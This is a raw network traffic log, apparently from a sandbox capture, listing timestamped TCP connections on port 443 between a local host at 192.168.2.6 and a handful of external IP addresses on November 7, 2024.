Nov 7, 2024 17:25:22.163358927 CET	49770	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.163393021 CET	443	49770	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.163475037 CET	49770	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.164690018 CET	49771	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.164731979 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.164809942 CET	49771	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.164932013 CET	49772	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.164969921 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.165015936 CET	49772	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.170250893 CET	49770	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.170269012 CET	443	49770	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.170361996 CET	49771	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.170376062 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.170377016 CET	49772	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.170392036 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.265947104 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.265966892 CET	443	49773	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.266031027 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.266309023 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.266324997 CET	443	49773	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.588383913 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:22.588397026 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:22.588527918 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:22.597121000 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:22.597135067 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:22.682024002 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.685300112 CET	49766	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.685314894 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.686120987 CET	49766	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.686125994 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.707722902 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.708260059 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.708270073 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.709423065 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.709490061 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.713849068 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.713954926 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.714071989 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.714078903 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.758454084 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.794580936 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.795281887 CET	49767	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.795310974 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.795764923 CET	49767	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.795770884 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.812834978 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.812875986 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.812957048 CET	49766	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.813203096 CET	49766	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.813210964 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.813232899 CET	49766	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.813236952 CET	443	49766	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.816370010 CET	49777	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.816401005 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.816489935 CET	49777	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.816627026 CET	49777	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.816632032 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.895659924 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.895908117 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.895927906 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.896771908 CET	443	49770	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.896955967 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.897042036 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.897381067 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.897444963 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.897525072 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.897798061 CET	49770	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.897813082 CET	443	49770	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.898319006 CET	49770	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.898324013 CET	443	49770	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.913935900 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.914452076 CET	49771	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.914469004 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.917296886 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.925256014 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.925308943 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.925357103 CET	49767	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.933386087 CET	49771	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.933392048 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.936050892 CET	49772	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.936069012 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.936285019 CET	49767	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.936306953 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.936320066 CET	49767	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.936325073 CET	443	49767	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.936575890 CET	49772	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.936580896 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.939323902 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.949995995 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.950010061 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.951508999 CET	49779	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.951541901 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.951848030 CET	49779	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.957526922 CET	49779	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:22.957540035 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:22.986413002 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.993284941 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.995457888 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.995985031 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.995996952 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.997085094 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.997164965 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.997672081 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:22.997754097 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:22.997838020 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.024571896 CET	443	49770	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.024647951 CET	443	49770	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.024889946 CET	49770	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.025413990 CET	49770	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.025430918 CET	443	49770	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.028767109 CET	49780	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.028799057 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.028913021 CET	49780	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.029155016 CET	49780	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.029167891 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.039331913 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.040129900 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.040138006 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.040728092 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.040740967 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.042659998 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.042747974 CET	443	49765	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.042825937 CET	49765	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.059310913 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.059384108 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.059454918 CET	49771	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.060571909 CET	49771	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.060586929 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.060635090 CET	49771	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.060641050 CET	443	49771	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.064517975 CET	49781	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.064555883 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.064713955 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.064791918 CET	49781	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.064954996 CET	49781	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.064968109 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.064994097 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.065104961 CET	49772	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.065913916 CET	49772	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.065913916 CET	49772	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.065924883 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.065928936 CET	443	49772	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.069778919 CET	49782	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.069792032 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.069865942 CET	49782	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.070002079 CET	49782	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.070013046 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.087203026 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.138592958 CET	443	49773	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.151612997 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.151621103 CET	443	49773	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.152878046 CET	443	49773	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.152991056 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.153486967 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.153574944 CET	443	49773	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.185215950 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.185255051 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.185300112 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.185369015 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.185379028 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.185422897 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.185446024 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.185453892 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.186954021 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.186963081 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.194257021 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.195175886 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.195184946 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.196682930 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.196691990 CET	443	49773	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.247708082 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.247724056 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.247767925 CET	49773	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.275949955 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.290160894 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.300685883 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.300748110 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.300839901 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.300848961 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.305044889 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.307131052 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.307140112 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.310542107 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.310863018 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.310869932 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.318680048 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.319118977 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.319128990 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.361624002 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.361639023 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.395844936 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.399039030 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.412647009 CET	49769	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.412659883 CET	443	49769	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.414944887 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.416264057 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.420617104 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.420655012 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.420737028 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.420749903 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.420800924 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.424971104 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.428531885 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.431040049 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.431050062 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.433783054 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.435291052 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.435298920 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.477377892 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.486407042 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.531960011 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.532157898 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.532166958 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.536534071 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.537025928 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.537081003 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.537090063 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.537136078 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.540513039 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.544264078 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.544398069 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.544406891 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.553452015 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.553509951 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.553518057 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.563071012 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.587330103 CET	49777	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.587349892 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.588103056 CET	49777	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.588110924 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.602004051 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.602025986 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.602071047 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.602082014 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.651881933 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.651932955 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.651954889 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.651968956 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.652048111 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.652553082 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.658081055 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.658972025 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.658982038 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.664849043 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.665278912 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:23.665364981 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.665369987 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:23.665374041 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.677671909 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:23.677686930 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:23.677982092 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:23.711503983 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.711544037 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.711561918 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.711581945 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.711642981 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.715456963 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.715636969 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.715701103 CET	49777	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.716661930 CET	49777	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.716661930 CET	49777	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.716681957 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.716686964 CET	443	49777	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.717730999 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.724842072 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.726212025 CET	49779	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.726227999 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.726921082 CET	49779	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.726927042 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.727680922 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:23.729813099 CET	49784	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.729840994 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.729932070 CET	49784	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.730411053 CET	49784	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.730431080 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.758914948 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.758928061 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.769001007 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.769056082 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.769066095 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.773974895 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.774005890 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.774063110 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.774071932 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.774072886 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.774122953 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.774913073 CET	49780	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.774928093 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.776072979 CET	49780	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.776077032 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.780507088 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.798021078 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:23.800879002 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.809298992 CET	49781	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.809319019 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.810133934 CET	49781	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.810138941 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.810542107 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.811497927 CET	49782	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.811506987 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.812342882 CET	49782	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.812349081 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.821417093 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.821425915 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.826462030 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.826515913 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.826524019 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.833482027 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.833528996 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.833538055 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.843336105 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:23.854752064 CET	49709	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:23.855133057 CET	49709	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:23.855873108 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:23.855901957 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:23.855953932 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:23.856642962 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:23.856654882 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:23.859633923 CET	443	49709	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:23.860203028 CET	443	49709	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:23.861736059 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.861798048 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.862059116 CET	49779	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.862088919 CET	49779	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.862088919 CET	49779	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.862103939 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.862112045 CET	443	49779	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.865238905 CET	49787	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.865257025 CET	443	49787	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.865310907 CET	49787	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.865577936 CET	49787	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.865590096 CET	443	49787	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.882793903 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.882846117 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.882854939 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.889523029 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.889564991 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.889586926 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.889591932 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.889602900 CET	443	49768	216.58.206.68	192.168.2.6
